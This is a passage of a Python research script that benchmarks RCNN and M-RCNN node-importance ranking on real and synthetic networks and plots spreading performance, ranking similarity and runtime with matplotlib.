,'Sex':[Sex_MRCNN_tau4,Sex_MRCNN_tau8,Sex_MRCNN_tau16,Sex_MRCNN_tau28,Sex_MRCNN_tau32,Sex_MRCNN_tau40,Sex_MRCNN_tau48,Sex_MRCNN_tau56,Sex_MRCNN_tau64]})\r\n\r\n    # visualize results\r\n    plt.figure(figsize=(12,5),dpi=120)\r\n\r\n    plt.subplot(121)\r\n    plt.plot(L_all['L'],L_all['Facebook'],marker='o',markersize=8,c='r',label=r'Facebook($G_{C_V}$%=100,$G_{C_E}$%=100)')\r\n    plt.plot(L_all['L'],L_all['LastFM'],marker='s',markersize=8,c='fuchsia',label=r'LastFM($G_{C_V}$%=100,$G_{C_E}$%=100)')\r\n    plt.plot(L_all['L'],L_all['Sex'],marker='<',markersize=8,c='b',label=r'Sex($G_{C_V}$%=100,$G_{C_E}$%=100)')\r\n    plt.plot(L_all['L'],L_all['PowerGrid'],marker='>',markersize=8,c='brown',label=r'PowerGrid($G_{C_V}$%=100,$G_{C_E}$%=100)')\r\n    plt.ylabel(r'$\\overline{\\tau}$',fontsize=16,fontweight='bold')\r\n    plt.xlabel(r'$L$',fontsize=16,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=12)\r\n    plt.xticks(np.arange(4,68,8),fontsize=12)\r\n    plt.text(3,0.94,'(a)',fontsize=14,fontweight='bold')\r\n    plt.legend(loc='best')\r\n\r\n    plt.subplot(122)\r\n    plt.plot(L_all['L'],L_all['Figeys'],marker='>',markersize=8,c='black',label=r'Figeys($G_{C_V}$%=99.01,$G_{C_E}$%=99.78)')\r\n    plt.plot(L_all['L'],L_all['Hep'],marker='o',markersize=8,c='g',label=r'Hep($G_{C_V}$%=87.46,$G_{C_E}$%=95.51)')\r\n    plt.plot(L_all['L'],L_all['Vidal'],marker='s',markersize=8,c='gold',label=r'Vidal($G_{C_V}$%=88.83,$G_{C_E}$%=97.96)')\r\n    plt.plot(L_all['L'],L_all['GrQ'],marker='<',markersize=8,c='tomato',label=r'GrQC($G_{C_V}$%=79.32,$G_{C_E}$%=92.67)')\r\n    plt.plot(L_all['L'],L_all['Ham'],marker='h',markersize=8,c='navy',label=r'Hamster($G_{C_V}$%=82.44,$G_{C_E}$%=96.80)')\r\n\r\n    plt.xlabel(r'$L$',fontsize=16,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=12)\r\n    plt.xticks(np.arange(4,68,8),fontsize=12)\r\n    plt.text(3,0.94,'(b)',fontsize=14,fontweight='bold')\r\n    plt.legend(loc='best')\r\n    plt.tight_layout()\r\n    plt.show()\r\n\r\n    # Performance of M-RCNN when L=4\r\n    plt.figure(figsize=(12,5.5),dpi=120)\r\n    plt.plot(a_list,GrQ_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,GrQ_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,GrQ_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,GrQ_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,GrQ_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,GrQC_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,GrQ_MRCNN_tau4_list,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('GrQC',fontsize=20,fontweight='bold')\r\n    plt.ylabel(r'$\\tau$',fontsize=24,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=20,fontweight='bold')\r\n    plt.text(0.97,0.94,'(g)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(339)\r\n    plt.plot(a_list,PowerGrid_RCNN_tau,marker='o',markersize=10,c='b',label='RCNN')\r\n    plt.plot(a_list,PowerGrid_dc_tau,marker='<',markersize=10,c='fuchsia',label='DC')\r\n    plt.plot(a_list,PowerGrid_ks_tau,marker='>',markersize=10,c='g',label='K-core')\r\n    plt.plot(a_list,PowerGrid_nd_tau,marker='p',markersize=10,c='black',label='ND')\r\n    plt.plot(a_list,PowerGrid_bc_tau,marker='h',markersize=10,c='y',label='BC')\r\n    plt.plot(a_list,PowerGrid_vc_tau,marker='H',markersize=10,c='orange',label='Vc')\r\n    plt.plot(a_list,PowerGrid_tau4_list,marker='s',markersize=10,c='r',label='M-RCNN')\r\n    plt.title('PowerGrid',fontsize=20,fontweight='bold')\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,1.1,0.2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.97,0.94,'(i)',fontsize=16,fontweight='bold')\r\n    plt.tight_layout()\r\n    plt.legend(bbox_to_anchor=(0.4,-0.15),ncol=7,fontsize=18)\r\n    plt.show()\r\n\r\n    # In[5] Experiment 3: Two-channel M-RCNN\r\n    Facebook_improve_com = Test.calculate_improve(Facebook,L1,L2,Facebook_SIR,Facebook_community,RCNN,MRCNN_com,method='community')\r\n    Facebook_improve_shell = Test.calculate_improve(Facebook,L1,L2,Facebook_SIR,Facebook_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    LastFM_improve_com = Test.calculate_improve(LastFM,L1,L2,LastFM_SIR,LastFM_community,RCNN,MRCNN_com,method='community')\r\n    LastFM_improve_shell = Test.calculate_improve(LastFM,L1,L2,LastFM_SIR,LastFM_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    Sex_improve_com = Test.calculate_improve(Sex,L1,L2,Sex_SIR,Sex_community,RCNN,MRCNN_com,method='community')\r\n    Sex_improve_shell = Test.calculate_improve(Sex,L1,L2,Sex_SIR,Sex_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    Hep_improve_com = Test.calculate_improve(Hep,L1,L2,Hep_SIR,Hep_community,RCNN,MRCNN_com,method='community')\r\n    Hep_improve_shell = Test.calculate_improve(Hep,L1,L2,Hep_SIR,Hep_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    Ham_improve_com = Test.calculate_improve(Ham,L1,L2,Ham_SIR,Ham_community,RCNN,MRCNN_com,method='community')\r\n    Ham_improve_shell = Test.calculate_improve(Ham,L1,L2,Ham_SIR,Ham_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    Vidal_improve_com = Test.calculate_improve(Vidal,L1,L2,Vidal_SIR,Vidal_community,RCNN,MRCNN_com,method='community')\r\n    Vidal_improve_shell = Test.calculate_improve(Vidal,L1,L2,Vidal_SIR,Vidal_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    PowerGrid_improve_com = Test.calculate_improve(PowerGrid,L1,L2,PowerGrid_SIR,PowerGrid_community,RCNN,MRCNN_com,method='community')\r\n    PowerGrid_improve_shell = Test.calculate_improve(PowerGrid,L1,L2,PowerGrid_SIR,PowerGrid_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    GrQ_improve_com = Test.calculate_improve(GrQ,L1,L2,GrQ_SIR,GrQ_community,RCNN,MRCNN_com,method='community')\r\n    GrQ_improve_shell = Test.calculate_improve(GrQ,L1,L2,GrQ_SIR,GrQ_community,RCNN,MRCNN_com,method='shell')\r\n\r\n    Figeys_improve_com = Test.calculate_improve(Figeys,L1,L2,Figeys_SIR,Figeys_community,RCNN,MRCNN_com,method='community')\r\n    Figeys_improve_shell = Test.calculate_improve(Figeys,L1,L2,Figeys_SIR,Figeys_community,RCNN,MRCNN_com,method='shell')\r\n\r\n\r\n    # visualize results:\r\n\r\n    plt.subplot(331)\r\n    plt.plot(a_list,Facebook_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,Facebook_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.yticks(np.arange(0,12,2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.title('Facebook',fontsize=20,fontweight='bold')\r\n    plt.ylabel(r'$Improvement$ $ratio(\\tau) \\%$',fontsize=20,fontweight='bold')\r\n    plt.text(0.98,9.2,'(a)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(332)\r\n    plt.plot(a_list,LastFM_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,LastFM_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.title('LastFM',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,10,2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.98,7.4,'(b)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(333)\r\n    plt.plot(a_list,Sex_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,Sex_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.title('Sex',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,10,2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.98,7.4,'(c)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(334)\r\n    plt.plot(a_list,Figeys_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,Figeys_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.ylabel(r'$Improvement$ $ratio(\\tau) \\% $',fontsize=20,fontweight='bold')\r\n    plt.title('Figeys',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,25,5),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.98,20.5,'(d)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(335)\r\n    plt.plot(a_list,Hep_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,Hep_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.title('Hep',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(0,10,2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.98,7.4,'(e)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(336)\r\n    plt.plot(a_list,Vidal_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,Vidal_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.title('Vidal',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(-2,10,2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.98,7.25,'(f)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(337)\r\n    plt.plot(a_list,GrQ_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,GrQ_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.title('GrQC',fontsize=20,fontweight='bold')\r\n    plt.ylabel(r'$Improvement$ $ratio(\\tau)\\%$',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(-10,10,2),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=24,fontweight='bold')\r\n    plt.text(0.98,6.6,'(g)',fontsize=16,fontweight='bold')\r\n\r\n\r\n    plt.subplot(338)\r\n    plt.plot(a_list,Ham_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,Ham_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.title('Hamster',fontsize=20,fontweight='bold')\r\n    plt.yticks(np.arange(-1,2.5,1),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=24,fontweight='bold')\r\n    plt.text(0.98,1.9,'(h)',fontsize=16,fontweight='bold')\r\n\r\n    plt.subplot(339)\r\n    plt.plot(a_list,PowerGrid_improve_com,marker='v',markersize=10,c='darkgreen',label='M-RCNN(ND+N_Com)')\r\n    plt.plot(a_list,PowerGrid_improve_shell,marker='^',markersize=10,c='darkred',label='M-RCNN(ND+K-Shell)')\r\n    plt.title('PowerGrid',fontsize=20,fontweight='bold')\r\n    plt.xlabel(r'$β/β_{th}$',fontsize=24,fontweight='bold')\r\n    plt.yticks(np.arange(0,80,10),fontsize=18)\r\n    plt.xticks(np.arange(1,2,0.3),fontsize=18)\r\n    plt.text(0.98,68,'(i)',fontsize=16,fontweight='bold')\r\n    plt.tight_layout()\r\n    plt.legend(bbox_to_anchor=(0.04,-0.2),ncol=2,fontsize=18)\r\n    plt.show()\r\n    \r\n    # In[6] Experiment 4: Node ranking similarity and discrimination ability\r\n    Facebook_sim = Test.calculate_similarity(Facebook,L1,L2,Facebook_SIR[4],Facebook_community,RCNN,MRCNN)\r\n    LastFM_sim = Test.calculate_similarity(LastFM,L1,L2,LastFM_SIR[4],LastFM_community,RCNN,MRCNN)\r\n    Sex_sim = Test.calculate_similarity(Sex,L1,L2,Sex_SIR[4],Sex_community,RCNN,MRCNN)\r\n    Figeys_sim = Test.calculate_similarity(Figeys,L1,L2,Figeys_SIR[4],Figeys_community,RCNN,MRCNN)\r\n    Hep_sim = Test.calculate_similarity(Hep,L1,L2,Hep_SIR[4],Hep_community,RCNN,MRCNN)\r\n    Vidal_sim = Test.calculate_similarity(Vidal,L1,L2,Vidal_SIR[4],Vidal_community,RCNN,MRCNN)\r\n    GrQ_sim = Test.calculate_similarity(GrQc,L1,L2,GrQ_SIR[4],GrQ_community,RCNN,MRCNN_model_list[0])\r\n    Ham_sim = Test.calculate_similarity(Hamster,L1,L2,Ham_SIR[4],Ham_community,RCNN,MRCNN)\r\n    PowerGrid_sim = Test.calculate_similarity(PowerGrid,L1,L2,PowerGrid_SIR[4],PowerGrid_community,RCNN,MRCNN_model_list[0])\r\n\r\n    # normalize\r\n    Facebook_sim = Utils.normalization(Facebook_sim)\r\n    LastFM_sim = Utils.normalization(LastFM_sim)\r\n    Ham_sim = Utils.normalization(Ham_sim)\r\n    Sex_sim = Utils.normalization(Sex_sim)\r\n    Hep_sim = Utils.normalization(Hep_sim)\r\n    Vidal_sim = Utils.normalization(Vidal_sim)\r\n    PowerGrid_sim = Utils.normalization(PowerGrid_sim)\r\n    GrQ_sim = Utils.normalization(GrQ_sim)\r\n    Figeys_sim = Utils.normalization(Figeys_sim)\r\n    \r\n    # visualize results\r\n    plt.figure(figsize=(20,16),dpi=120)\r\n    plt.subplot(331)\r\n    S1 = plt.scatter(Facebook_sim['MRCNN'],Facebook_sim['RCNN'],c=Facebook_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('Facebook',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.ylabel('RCNN',fontsize=20,fontweight='bold')\r\n    plt.text(-0.1,1.05,'(a)',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S1)\r\n        \r\n    plt.subplot(332)\r\n    S2 = plt.scatter(LastFM_sim['MRCNN'],LastFM_sim['RCNN'],c=LastFM_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('LastFM',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(b)',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S2)\r\n        \r\n    plt.subplot(333)\r\n    S3 = plt.scatter(Sex_sim['MRCNN'],Sex_sim['RCNN'],c=Sex_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('Sex',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(c)',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S3)\r\n        \r\n    plt.subplot(334)\r\n    S4 = plt.scatter(Figeys_sim['MRCNN'],Figeys_sim['RCNN'],c=Figeys_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('Figeys',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(d)',fontsize=20,fontweight='bold')\r\n    plt.ylabel('RCNN',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S4)\r\n        \r\n    plt.subplot(335)\r\n    S5 = plt.scatter(Hep_sim['MRCNN'],Hep_sim['RCNN'],c=Hep_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('Hep',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(e)',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S5)\r\n\r\n    plt.subplot(336)\r\n    S6 = plt.scatter(Vidal_sim['MRCNN'],Vidal_sim['RCNN'],c=Vidal_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('Hep',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(f)',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S6)\r\n\r\n    plt.subplot(337)\r\n    S7 = plt.scatter(GrQ_sim['MRCNN'],GrQ_sim['RCNN'],c=GrQ_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('GrQC',fontsize=20,fontweight='bold')\r\n    plt.xlabel('M-RCNN',fontsize=20,fontweight='bold')\r\n    plt.ylabel('RCNN',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S7)\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(g)',fontsize=20,fontweight='bold')\r\n\r\n    plt.subplot(338)\r\n    S8 = plt.scatter(Ham_sim['MRCNN'],Ham_sim['RCNN'],c=Ham_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('Hamster',fontsize=20,fontweight='bold')\r\n    plt.xlabel('M-RCNN',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(h)',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S8)\r\n\r\n    plt.subplot(339)\r\n    S9 = plt.scatter(PowerGrid_sim['MRCNN'],PowerGrid_sim['RCNN'],c=PowerGrid_sim['SIR'],cmap='jet')\r\n    plt.plot(np.arange(-0.1,1.1,0.1),np.arange(-0.1,1.1,0.1),color='black',linewidth=5,linestyle='--')\r\n    plt.title('PowerGrid',fontsize=20,fontweight='bold')\r\n    plt.xlabel('M-RCNN',fontsize=20,fontweight='bold')\r\n    plt.xticks(fontsize=18)\r\n    plt.yticks(fontsize=18)\r\n    plt.text(-0.1,1.05,'(i)',fontsize=20,fontweight='bold')\r\n    plt.colorbar(S9)\r\n    plt.tight_layout()\r\n    plt.show()\r\n\r\n    # In[7] Experiment 5:\r\n    L_list = [8,16,24,32,40,48,56,64]\r\n    # time needed to construct input\r\n    RCNN_time_1000_4= Test.cal_input_time(BA_1000_4,BA_1000_4_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_1000_10 = Test.cal_input_time(BA_1000_10,BA_1000_10_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_1000_20 = Test.cal_input_time(BA_1000_20,BA_1000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    RCNN_time_2000_4 = Test.cal_input_time(BA_2000_4,BA_2000_4_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_2000_10 = Test.cal_input_time(BA_2000_10,BA_2000_10_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_2000_20 = Test.cal_input_time(BA_2000_20,BA_2000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    RCNN_time_3000_4 = Test.cal_input_time(BA_3000_4,BA_3000_4_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_3000_10 = Test.cal_input_time(BA_3000_10,BA_3000_10_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_3000_20 = Test.cal_input_time(BA_3000_20,BA_3000_20_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_pd = pd.DataFrame({'RCNN_1000_4':RCNN_time_1000_4,'RCNN_1000_10':RCNN_time_1000_10,'RCNN_1000_20':RCNN_time_1000_20,'RCNN_2000_4':RCNN_time_2000_4,'RCNN_2000_10':RCNN_time_2000_10,'RCNN_2000_20':RCNN_time_2000_20,'RCNN_3000_4':RCNN_time_3000_4,'RCNN_3000_10':RCNN_time_3000_10,'RCNN_3000_20':RCNN_time_3000_20})\r\n    \r\n\r\n    MRCNN_time_1000_4 = Test.cal_input_time2(BA_1000_4,BA_1000_4_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_1000_10 = Test.cal_input_time2(BA_1000_10,BA_1000_10_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_1000_20 = Test.cal_input_time2(BA_1000_20,BA_1000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    MRCNN_time_2000_4 = Test.cal_input_time2(BA_2000_4,BA_2000_4_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_2000_10 = Test.cal_input_time2(BA_2000_10,BA_2000_10_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_2000_20= Test.cal_input_time2(BA_2000_20,BA_2000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    MRCNN_time_3000_4 = Test.cal_input_time2(BA_3000_4,BA_3000_4_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_3000_10= Test.cal_input_time2(BA_3000_10,BA_3000_10_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_3000_20 = Test.cal_input_time2(BA_3000_20,BA_3000_20_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_pd = pd.DataFrame({'MRCNN_1000_4':MRCNN_time_1000_4,'MRCNN_1000_10':MRCNN_time_1000_10,'MRCNN_1000_20':MRCNN_time_1000_20,'MRCNN_2000_4':MRCNN_time_2000_4,'MRCNN_2000_10':MRCNN_time_2000_10,'MRCNN_2000_20':MRCNN_time_2000_20,'MRCNN_3000_4':MRCNN_time_3000_4,'MRCNN_3000_10':MRCNN_time_3000_10,'MRCNN_3000_20':MRCNN_time_3000_20})\r\n\r\n    # time needed to construct input and training\r\n    RCNN_train_time_1000_4= Test.cal_training_time(BA_1000_4,BA_1000_4_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_train_time_1000_10 = Test.cal_training_time(BA_1000_10,BA_1000_10_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_train_time_1000_20 = Test.cal_training_time(BA_1000_20,BA_1000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    RCNN_train_time_2000_4 = Test.cal_training_time(BA_2000_4,BA_2000_4_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_train_time_2000_10 = Test.cal_training_time(BA_2000_10,BA_2000_10_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_train_time_2000_20 = Test.cal_training_time(BA_2000_20,BA_2000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    RCNN_train_time_3000_4 = Test.cal_training_time(BA_3000_4,BA_3000_4_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_train_time_3000_10 = Test.cal_training_time(BA_3000_10,BA_3000_10_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_train_time_3000_20 = Test.cal_training_time(BA_3000_20,BA_3000_20_label,L_list,batch_size,num_epochs,lr)\r\n    RCNN_time_train_pd = pd.DataFrame({'RCNN_1000_4':RCNN_train_time_1000_4,'RCNN_1000_10':RCNN_train_time_1000_10,'RCNN_1000_20':RCNN_train_time_1000_20,'RCNN_2000_4':RCNN_train_time_2000_4,'RCNN_2000_10':RCNN_train_time_2000_10,'RCNN_2000_20':RCNN_train_time_2000_20,'RCNN_3000_4':RCNN_train_time_3000_4,'RCNN_3000_10':RCNN_train_time_3000_10,'RCNN_3000_20':RCNN_train_time_3000_20})\r\n    \r\n\r\n    MRCNN_train_time_1000_4 = Test.cal_training_time2(BA_1000_4,BA_1000_4_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_train_time_1000_10 = Test.cal_training_time2(BA_1000_10,BA_1000_10_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_train_time_1000_20 = Test.cal_training_time2(BA_1000_20,BA_1000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    MRCNN_train_time_2000_4 = Test.cal_training_time2(BA_2000_4,BA_2000_4_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_train_time_2000_10 = Test.cal_training_time2(BA_2000_10,BA_2000_10_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_train_time_2000_20= Test.cal_training_time2(BA_2000_20,BA_2000_20_label,L_list,batch_size,num_epochs,lr)\r\n    \r\n    MRCNN_train_time_3000_4 = Test.cal_training_time2(BA_3000_4,BA_3000_4_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_train_time_3000_10= Test.cal_training_time2(BA_3000_10,BA_3000_10_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_train_time_3000_20 = Test.cal_training_time2(BA_3000_20,BA_3000_20_label,L_list,batch_size,num_epochs,lr)\r\n    MRCNN_time_train_pd = pd.DataFrame({'MRCNN_1000_4':MRCNN_train_time_1000_4,'MRCNN_1000_10':MRCNN_train_time_1000_10,'MRCNN_1000_20':MRCNN_train_time_1000_20,'MRCNN_2000_4':MRCNN_train_time_2000_4,'MRCNN_2000_10':MRCNN_train_time_2000_10,'MRCNN_2000_20':MRCNN_train_time_2000_20,'MRCNN_3000_4':MRCNN_train_time_3000_4,'MRCNN_3000_10':MRCNN_train_time_3000_10,'MRCNN_3000_20':MRCNN_train_time_3000_20})\r\n    # visualize results\r\n    l_list = np.array([1,2,3,4,5,6,7,8,9])\r\n    L_list = l_list-0.2\r\n    # time needed (input)\r\n    plt.figure(figsize=(20,16),dpi=200)\r\n    plt.subplot(331)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_1000_4'],color='r',width=0.4,label='RCNN(BA_1000_4)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_1000_4'],color='b',width=0.4,label='MRCNN(BA_1000_4)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.ylabel('Time(s)',fontsize=24,fontweight='bold')\r\n    plt.text(5.5,3,'(a)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n    #plt.legend(loc=0,fontsize=16)\r\n\r\n    plt.subplot(332)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_1000_10'],color='r',width=0.4,label='RCNN(BA_1000_10)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_1000_10'],color='b',width=0.4,label='MRCNN(BA_1000_10)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,4.5,'(b)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(333)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_1000_20'],color='r',width=0.4,label='RCNN(BA_1000_20)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_1000_20'],color='b',width=0.4,label='MRCNN(BA_1000_20)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,6.95,'(c)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(334)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_2000_4'],color='r',width=0.4,label='RCNN(BA_2000_4)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_2000_4'],color='b',width=0.4,label='MRCNN(BA_2000_4)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.ylabel('Time(s)',fontsize=24,fontweight='bold')\r\n    plt.text(5.5,8.5,'(d)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(335)\r\n    